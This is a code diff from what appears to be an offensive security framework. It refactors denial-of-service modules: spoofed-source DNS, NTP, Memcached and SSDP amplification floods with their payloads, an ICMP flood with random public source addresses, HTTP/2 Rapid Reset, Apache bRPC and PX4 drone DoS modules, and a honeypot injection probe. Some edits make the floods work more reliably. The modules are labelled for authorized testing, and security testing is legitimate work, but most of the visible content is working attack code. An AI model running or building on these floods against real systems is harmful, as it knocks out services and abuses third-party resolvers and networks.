"service": "mysql",
"decoded_fields": names2,
"baseline_fields": names1,
"new_fields_vs_baseline": new_cols,
})),
});
} else if differs_from_baseline {
// The injected response differed from the benign baseline but without
// an unambiguous sqlite_master marker. Record it for analyst review
// rather than asserting a confirmed vulnerability (avoids flagging a
// normal MySQL responder that merely echoes field definitions).
crate::mprintln!();
crate::mprintln!("{}", "[~] Injected response differs from baseline but no sqlite_master marker — unconfirmed.".yellow());
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Note,
message: format!("Dionaea MySQL COM_FIELD_LIST injected payload delivered to {}:{}; response differed from baseline but injection unconfirmed", normalized, port),
data: Some(serde_json::json!({
"port": port,
"service": "mysql",
"decoded_fields": names2,
"baseline_fields": names1,
})),
});
} else {
crate::mprintln!();
crate::mprintln!("{}", "[~] No decoded columns in response.".yellow());
crate::mprintln!("{}", "[~] Injected response matches benign baseline — not injectable.".yellow());
}
crate::mprintln!();
@@ -6,7 +6,7 @@ use colored::*;
use std::time::Duration;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{CheckResult, ModuleInfo, ModuleRank};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
const DEFAULT_PORT: u16 = 8002;
@@ -28,30 +28,7 @@ pub fn info() -> ModuleInfo {
}
}
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = match ctx.target.as_single() {
Some(t) => t,
None => return CheckResult::Error("check expects a single-host target".into()),
};
let client = match crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS)) {
Ok(c) => c,
Err(e) => return CheckResult::Error(e.to_string()),
};
let url = format!("http://{}/status", target.trim_end_matches('/'));
match client.get(&url).send().await {
Ok(r) => {
let body = match r.text().await {
Ok(b) => b,
Err(e) => return CheckResult::Error(format!("body decode: {}", e)),
};
if body.contains("brpc_revision") || body.contains("brpc-version") {
return CheckResult::Unknown("bRPC server fingerprint matched".to_string());
}
}
Err(e) => return CheckResult::Error(format!("request failed: {}", e)),
}
CheckResult::NotVulnerable("bRPC fingerprint missing".to_string())
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
@@ -94,4 +71,4 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "dos/apachebrpc_overflow_cve_2025_59789", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "dos/apachebrpc_overflow_cve_2025_59789", native);
+5 -72
View File
@@ -5,6 +5,7 @@
//! Uses raw UDP sockets with IP_HDRINCL for source IP spoofing.
//! FOR AUTHORIZED TESTING ONLY.
use crate::native::dos_utils::{FastRng, checksum_16, sum_16};
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
@@ -13,7 +14,7 @@ use std::os::unix::io::AsRawFd;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::native::network::{make_dst_sockaddr, send_one_raw};
@@ -34,12 +35,6 @@ const STATS_BATCH_SIZE: u64 = 5000;
const SEND_BUFFER_SIZE: usize = 4 * 1024 * 1024;
const AMPLIFICATION_FACTOR: f64 = 100.0;
/// DNS ANY query for root domain "." in wire format:
/// - Transaction ID: placeholder (2 bytes, randomized per-packet)
/// - Flags: 0x0100 (standard query, recursion desired)
/// - Questions: 1, Answer/Auth/Additional: 0
/// - QNAME: 0x00 (root "."), QTYPE: 0x00FF (ANY), QCLASS: 0x0001 (IN)
/// Default well-known open DNS resolvers for testing.
const DEFAULT_RESOLVERS: &[&str] = &[
"8.8.8.8",
"8.8.4.4",
@@ -69,42 +64,7 @@ struct DnsAmpConfig {
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// DNS QUERY BUILDER
@@ -255,7 +215,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -275,7 +235,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(udp_data, sum);
sum = sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -287,36 +247,9 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
// ============================================================================
// RAW SOCKET HELPERS
// ============================================================================
@@ -9,7 +9,7 @@ use anyhow::{Context, Result};
use colored::*;
use std::time::Duration;
use crate::module_info::{CheckResult, ModuleInfo, ModuleRank};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
@@ -42,28 +42,7 @@ fn is_http2(v: reqwest::Version) -> bool {
v == reqwest::Version::HTTP_2
}
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = match ctx.target.as_single() { Some(t) => t, None => return CheckResult::Error("check expects a single-host target".into()) };
let client = match crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS)) {
Ok(c) => c,
Err(e) => return CheckResult::Error(format!("HTTP client: {}", e)),
};
let url = format!("https://{}/", target.trim_end_matches('/'));
match client.get(&url).send().await {
Ok(r) => {
let v = r.version();
if is_http2(v) {
CheckResult::Unknown(format!(
"Server speaks {:?} — potentially exposed to Rapid Reset if unpatched",
v
))
} else {
CheckResult::NotVulnerable(format!("HTTP version {:?}", v))
}
}
Err(e) => CheckResult::Error(format!("request failed: {}", e)),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context(" requires a single-host target")?;
@@ -119,4 +98,4 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "dos/http2_rapidreset_cve_2023_44487", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "dos/http2_rapidreset_cve_2023_44487", native);
+13 -4
View File
@@ -114,7 +114,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
display_banner();
let config = gather_config(initial_target).await?;
execute_attack(config).await?;
execute_attack(config, ctx.cancel.clone()).await?;
Ok(ModuleOutcome::ok())
}
@@ -219,7 +219,10 @@ async fn gather_config(initial_target: &str) -> Result<HttpStressConfig> {
})
}
async fn execute_attack(mut config: HttpStressConfig) -> Result<()> {
async fn execute_attack(
mut config: HttpStressConfig,
cancel: tokio_util::sync::CancellationToken,
) -> Result<()> {
crate::mprintln!("\n{}", "[*] Starting HTTP Flood attack...".yellow().bold());
// P2: each in-flight request holds a TCP connection (HTTPS doubles up
@@ -356,8 +359,14 @@ async fn execute_attack(mut config: HttpStressConfig) -> Result<()> {
}
});
// Wait for duration
tokio::time::sleep(duration).await;
// Honour ctx.cancel: race duration against the cancellation token so
// /loop and Ctrl-C exit the flood promptly.
tokio::select! {
_ = tokio::time::sleep(duration) => {}
_ = cancel.cancelled() => {
crate::mprintln!("\n{}", "[!] Cancellation received — stopping flood early.".yellow());
}
}
stop_flag.store(true, Ordering::SeqCst);
for handle in handles {
+3 -91
View File
@@ -5,6 +5,7 @@
//! non-spoofed mode (raw ICMP socket without IP_HDRINCL).
//! FOR AUTHORIZED TESTING ONLY.
use crate::native::dos_utils::{FastRng, checksum_16};
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
@@ -13,7 +14,7 @@ use std::os::unix::io::AsRawFd;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::native::network::{make_dst_sockaddr, send_one_raw};
@@ -55,103 +56,14 @@ struct IcmpFloodConfig {
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
/// Fill a buffer with pseudo-random bytes.
#[inline]
fn fill_bytes(&mut self, buf: &mut [u8]) {
let mut i = 0;
while i + 8 <= buf.len() {
let val = self.next_u64().to_le_bytes();
buf[i..i + 8].copy_from_slice(&val);
i += 8;
}
if i < buf.len() {
let val = self.next_u64().to_le_bytes();
let remaining = buf.len() - i;
buf[i..].copy_from_slice(&val[..remaining]);
}
}
}
fn gen_ipv4_public(rng: &mut FastRng) -> Ipv4Addr {
loop {
let raw = rng.next_u64() as u32;
let octets = raw.to_be_bytes();
match octets[0] {
0 | 10 | 127 => continue,
224..=255 => continue,
172 if (16..=31).contains(&octets[1]) => continue,
192 if octets[1] == 168 => continue,
169 if octets[1] == 254 => continue,
100 if (64..=127).contains(&octets[1]) => continue,
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
}
}
}
// ============================================================================
// INTERNET CHECKSUM (RFC 1071)
// ============================================================================
/// Compute the Internet checksum over a byte slice.
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
// ============================================================================
// RAW PACKET BUILDER — Spoofed mode (IP + ICMP)
@@ -211,7 +123,7 @@ impl SpoofedPacketBuilder {
let len = self.template.len();
buf[..len].copy_from_slice(&self.template);
let src_ip = gen_ipv4_public(rng);
let src_ip = rng.gen_ipv4_public();
let src_bytes = src_ip.octets();
let ip_id = rng.next_u16();
let icmp_id = rng.next_u16();
@@ -5,6 +5,7 @@
//! directed at the victim. Uses raw UDP sockets with IP_HDRINCL.
//! FOR AUTHORIZED TESTING ONLY.
use crate::native::dos_utils::{FastRng, checksum_16, sum_16};
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
@@ -13,7 +14,7 @@ use std::os::unix::io::AsRawFd;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::native::network::{make_dst_sockaddr, send_one_raw};
@@ -34,8 +35,6 @@ const STATS_BATCH_SIZE: u64 = 5000;
const SEND_BUFFER_SIZE: usize = 4 * 1024 * 1024;
const AMPLIFICATION_FACTOR: f64 = 51000.0;
/// Memcached UDP binary protocol header (8 bytes) + "stats\r\n" command (7 bytes) = 15 bytes.
/// Header: request_id=0x0000, seq=0x0000, total_datagrams=0x0001, reserved=0x0000
const MEMCACHED_PAYLOAD: [u8; 15] = [
0x00, 0x00, // Request ID
0x00, 0x00, // Sequence number
@@ -61,42 +60,7 @@ struct MemcachedAmpConfig {
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// RAW PACKET BUILDER (IP + UDP + Memcached payload)
@@ -178,7 +142,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -194,7 +158,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(udp_data, sum);
sum = sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -206,36 +170,9 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
// ============================================================================
// LOW-LEVEL SEND HELPERS
// ============================================================================
+5 -66
View File
@@ -5,6 +5,7 @@
//! Uses raw UDP sockets with IP_HDRINCL for source IP spoofing.
//! FOR AUTHORIZED TESTING ONLY.
use crate::native::dos_utils::{FastRng, checksum_16, sum_16};
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
@@ -13,7 +14,7 @@ use std::os::unix::io::AsRawFd;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::native::network::{make_dst_sockaddr, send_one_raw};
@@ -52,42 +53,7 @@ struct NtpAmpConfig {
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// RAW PACKET BUILDER (IP + UDP + NTP payload)
@@ -169,7 +135,7 @@ impl PacketBuilder {
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -185,7 +151,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(udp_data, sum);
sum = sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -198,36 +164,9 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
// ============================================================================
// LOW-LEVEL SEND HELPERS
// ============================================================================
+24 -88
View File
@@ -4,6 +4,7 @@
//! Uses native OS threads + sendmmsg batching for maximum throughput.
//! FOR AUTHORIZED TESTING ONLY.
use crate::native::dos_utils::{FastRng, checksum_16, sum_16};
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
@@ -12,7 +13,7 @@ use std::os::unix::io::AsRawFd;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::native::network::{make_dst_sockaddr, send_one_raw};
@@ -62,61 +63,7 @@ pub enum IntervalMode {
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u32(&mut self) -> u32 { self.next_u64() as u32 }
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ipv4_public(&mut self) -> Ipv4Addr {
loop {
let octets = self.next_u32().to_be_bytes();
match octets[0] {
0 | 10 | 127 => continue,
224..=255 => continue,
172 if (16..=31).contains(&octets[1]) => continue,
192 if octets[1] == 168 => continue,
169 if octets[1] == 254 => continue,
100 if (64..=127).contains(&octets[1]) => continue,
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
}
}
}
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// RAW PACKET BUILDER — zero-copy, manual header construction
@@ -198,7 +145,7 @@ impl PacketBuilder {
buf[10] = 0;
buf[11] = 0;
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
let ip_cksum = checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
@@ -217,7 +164,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([src_ip[0], src_ip[1]]) as u32;
sum += u16::from_be_bytes([src_ip[2], src_ip[3]]) as u32;
let tcp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(tcp_data, sum);
sum = sum_16(tcp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -228,35 +175,6 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
#[inline]
fn packet_size(&self) -> usize { self.template.len() }
}
@@ -540,7 +458,12 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
}
let local_ip_override: Option<Ipv4Addr> = if !use_random_source_ip {
let auto_ip = get_local_ipv4_for(target_ip).unwrap_or(Ipv4Addr::new(127, 0, 0, 1));
// Show the real auto-detected egress IP, or "unknown" — never a bogus
// loopback that would silently produce a non-functional flood.
let auto_ip = get_local_ipv4_for(target_ip)
.filter(|ip| !ip.is_loopback() && !ip.is_unspecified())
.map(|ip| ip.to_string())
.unwrap_or_else(|| "unknown — set local_ip explicitly".to_string());
let hint = format!(
"Local source IP (auto: {}) — enter tun/VPN IP to override, blank for auto",
auto_ip
@@ -645,7 +568,20 @@ async fn execute_attack(
} else if let Some(override_ip) = config.local_ip_override {
override_ip
} else {
get_local_ipv4_for(config.target_ip).unwrap_or(Ipv4Addr::new(127, 0, 0, 1))
// Do NOT silently fall back to loopback: a 127.0.0.1 source on an egress
// raw socket is a martian and is dropped by the kernel, producing a
// non-functional flood that still reports "packets queued". Refuse to
// start instead so the operator can set local_ip=<addr> or enable spoof_ip.
match get_local_ipv4_for(config.target_ip) {
Some(ip) if !ip.is_loopback() && !ip.is_unspecified() => ip,
_ => {
return Err(anyhow!(
"could not determine a usable local source IP for {}; \
set local_ip=<addr> (e.g. your tun/VPN IP) or enable spoof_ip",
config.target_ip
));
}
}
};
if config.use_random_source_ip {
+3 -37
View File
@@ -8,7 +8,7 @@ use colored::*;
use std::net::SocketAddr;
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::{cfg_prompt_int_range, normalize_target};
@@ -29,41 +29,7 @@ pub fn info() -> ModuleInfo {
}
}
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = match ctx.target.as_single() { Some(t) => t, None => return CheckResult::Error("check expects a single-host target".into()) };
let host = match target.split_once(':') {
Some((h, _)) => h,
None => target,
};
let addr: SocketAddr = match format!("{}:{}", host, DEFAULT_PORT).parse() {
Ok(a) => a,
Err(e) => return CheckResult::Error(format!("address parse: {}", e)),
};
let sock = match crate::utils::network::udp_bind(None).await {
Ok(s) => s,
Err(e) => return CheckResult::Error(format!("bind ephemeral UDP: {}", e)),
};
if let Err(e) = sock
.send_to(&[0xfe, 0x09, 0x00, 0x00, 0x00, 0x00], addr)
.await
{
return CheckResult::Error(format!("send to {}: {}", addr, e));
}
let mut buf = [0u8; 64];
match tokio::time::timeout(Duration::from_secs(3), sock.recv_from(&mut buf)).await {
Ok(Ok((n, _))) => match buf.first() {
Some(&first) if n > 0 && (first == 0xfe || first == 0xfd) => {
CheckResult::Unknown("MAVLink response observed (PX4 likely)".to_string())
}
Some(_) => {
CheckResult::NotVulnerable(format!("{} bytes received but not MAVLink-shaped", n))
}
None => CheckResult::NotVulnerable("0-byte datagram".to_string()),
},
Ok(Err(e)) => CheckResult::Error(format!("recv from {}: {}", addr, e)),
Err(elapsed) => CheckResult::NotVulnerable(format!("no MAVLink response within 3s: {}", elapsed)),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context(" requires a single-host target")?;
@@ -128,4 +94,4 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "dos/px4_uav_dos", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "dos/px4_uav_dos", native);
+5 -68
View File
@@ -5,6 +5,7 @@
//! Uses raw UDP sockets with IP_HDRINCL for source IP spoofing.
//! FOR AUTHORIZED TESTING ONLY.
use crate::native::dos_utils::{FastRng, checksum_16, sum_16};
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
@@ -13,7 +14,7 @@ use std::os::unix::io::AsRawFd;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use std::time::{Duration, Instant};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::native::network::{make_dst_sockaddr, send_one_raw};
@@ -34,7 +35,6 @@ const STATS_BATCH_SIZE: u64 = 5000;
const SEND_BUFFER_SIZE: usize = 4 * 1024 * 1024;
const AMPLIFICATION_FACTOR: f64 = 30.8;
/// SSDP M-SEARCH discovery payload
const SSDP_MSEARCH_PAYLOAD: &[u8] = b"M-SEARCH * HTTP/1.1\r\n\
HOST: 239.255.255.250:1900\r\n\
MAN: \"ssdp:discover\"\r\n\
@@ -42,7 +42,6 @@ MX: 2\r\n\
ST: ssdp:all\r\n\
\r\n";
/// Default SSDP multicast address
const DEFAULT_SSDP_TARGET: &str = "239.255.255.250";
// ============================================================================
@@ -62,42 +61,7 @@ struct SsdpAmpConfig {
// FAST RNG (XorShift128+)
// ============================================================================
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos() as u64)
.unwrap_or(0);
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
for _ in 0..16 { rng.next_u64(); }
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
